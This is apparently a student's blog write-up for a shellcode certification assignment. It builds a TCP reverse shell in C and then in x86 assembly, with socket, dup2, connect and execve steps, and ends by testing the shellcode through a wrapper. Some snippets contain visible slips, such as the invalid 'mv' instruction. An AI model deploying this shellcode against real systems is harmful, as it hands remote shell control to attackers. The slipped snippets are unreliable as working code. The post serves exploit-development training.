SLAE: Custom TCP Reverse shell

6 minute read

*all supporting code can be found here*

slae32 Student ID: SLAE - 1532

This assignment will see us create and examine shellcode with a Reverse TCP shell as the payload.

What is the difference between the bind shell we created in our previous post and a reverse shell?

Simply put, a BIND shell will open a port and start listening, when a connection is established a program (usually sh, bash, PS, cmd etc) and redirect all input and output the incoming connection. In a similar fashion a reverse shell will send a program over the wire to a listening port, and redirect all input.

To demonstrate I have made some modifications to my previous C code, which basically consisted of removing the entire bid, listen and accept sections, and added connect:

#include <stdio.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>

int socketfd;
struct sockaddr_in servaddr;

int main() { 
	//Create socket, which returns the file descriptor so we can interact with it
    socketfd = socket(AF_INET, SOCK_STREAM, 0); //here we specify that it is an ipv4 stream type of communication and protocol is 0 (TCP/IP)

	//Initialize servaddr struct 
    servaddr.sin_family = AF_INET; //address family set to AF_INET(which is ipv4)
    servaddr.sin_port = htons(4444); //htons is neccesary so endianness does not reverse how the port is stored in memory, thus scrambling it
    servaddr.sin_addr.s_addr = inet_addr("127.0.0.1"); //htonl is neccesary so endianness does not reverse how the address is stored in memory, thus scrambling it

    //connect to remote address
    connect(socketfd, (struct sockaddr *)&servaddr, sizeof(servaddr));
    //Create new file descriptors for stdin stdout and stderror, so the client shell will recieve these from our socket 
    dup2(socketfd, 0);
    dup2(socketfd, 1);
    dup2(socketfd, 2);

	//Use execve to excecute /bin/sh from within our program
    execve("//bin/sh", NULL, NULL); //extra slash is to ensure we have to 8bit values to push onto stack later on
}

Just from amending the code, I have a pretty good idea on how this is going to go down. Much of the code will be the same as the previous blog, with the main difference being that we have to consider that some ip addresses may have x00 in them.

  • __NR_socketcall 102
    • SYS_CONNECT 3
  • __NR_dup 41
  • __NR_execve 11

socketcall

The first arg, domain will be set to AF_INET. As per our .c code, we already know what it represents (IPv4) The second arg, type, will be set to SOCK_STREAM. Again we know what this does thanks to the breakdown of our .c code. The third and final arg protocol will be 0, as according to the man page this only changes under specific circumstances and at this point is beyond the scope of the exercise.

AF_INET		2 
SOCK_STREAM	1

To start converting to assembly we need to understand that syscalls get stored in EAX, with subsequent args going in EBX, ECX, EDX etc. For socket call:

  • syscall value goes in al
  • function type goes in bl
  • args to function go in ecx.

We need to both zero out our registers with XOR, and place our values in the lowest possible register, example for setting up socketcall below:

    xor eax, eax ; we do this both to create a 0x0 value and get eax ready
    push eax ; push 0x0 as third arg
    push 0x1 ; for second arg, the value of SOCK_STREAM
    push 0x2 ; first arg is AF_INET, set address family to ipv4
    xor ecx, ecx ; clear out ecx
    mov ecx, esp ; move our arg values into ecx (place a pointer to these values with an address stored in ecx)
    mv al, 102   ; we move the socketcall syscall value into al, to avoid padding
    xor ebx, ebx  ; SHELLCODE DID NOT WORK WITHOUT THIS HERE, IT WILL WORK WITH NASM BUT NOT AS SHELLCODE DUE TO REGISTER NOISE!!!
    mv bl, 1     ; we set function to 1, which is the value of socket
    int 0x80 ; call system interrupt 
    mov esi, eax ; we store the returning value of our syscall for later use in other functions

IT TOOK ME A LONG TIME TO FIGURE WHY MY SHELL WOULD NOT WORK, it is because as we are sending the connection out and not waiting we need to call dup BEFORE we send the shell down the wire.

The DUP syscall section is as it was in our bind exercise.

Essentially all we need to use DUP2 for is to copy FD 0,1 and 2 from our OLD FD into a NEW FD. I created a loop as below:

dup

    xor ecx, ecx
    xor eax, eax
loop:
    mov al, 63 ; value for dup2
    int 0x80 ; call dup2, putting our zeroed value in
    inc ecx ; increase by 1
    cmp cl, 0x4 ; run through 0,1,2
    jne loop ; continue when it hits 3

As we see from the man page, the connect syscall follows the same structure as listen. The only difference is that we need to be mindful of nulls in the address - I opted to try and solve this issue by pushing an ip with each octet incremented by 1, only to subract again straight after.

connect

struct sockaddr

    xor ecx, ecx
    mov ecx, 0x02010180 ; push 128.1.1.2 (flipped, so it actually goes on as 2.1.1.128)
    sub ecx, 0x01010101 ; subtract 1.1.1.1
    push ecx ; push our modified address on
    push word 0x5C11 ; push on reversed value of 4444
    push word 0x2 ; push value of AF_INET
    mov ecx, esp ; store our created sockaddr struc in ecx
    push 0x10 ; push length of address on (16) third arg
    push ecx ; push our created structure on as second arg
    push esi ; push created socket fd on as first arg
    mov ecx, esp ; move our values into ecx for the syscall
    xor ebx, ebx
    mov bl, 3 ; we set function to 3, which is the value of connect
    xor eax, eax
    mov al, 102
    int 0x80

All that is left to do is to spawn our shell, we do so with execve

    xor eax, eax
    push eax

    push 0x68732f6e
    push 0x69622f2f

    mov ebx, esp ; the null and //bin/sh get moved into ebx
    push eax ; push another null onto stack
    mov edx, esp ; move the null into edx
    push ebx ; the null and //bin/sh get pushed back onto stack
    mov ecx, esp ; they then get moved into ecx
    mov al, 11
    int 0x80

I compiled my code and tested, reverse shell was caught and succesful: After all this, we can see as below I was able to catch the reverse shell:

start_bindlisten

It is time to work on our wrapper, I used commandlinefu to extract the shellcode: connect_to_shell

I took my original python wrapper and edited it to make a reverse shell version.

A per screen below the script is both fool-proof and accurate. rev_wrapper.py

I tested my shellcode, and hit a brick wall… My shell would send back when compiled in nasm, but not with c!! This is due to the fact I did not xor out EBX in the very beginning, this is very important when running code in c, as we do not know what the register state could end up being.

I perservered with the help from a friend, and as below, caught my shell sent from shellcode :) rev_wrapper.py rev_wrapper.py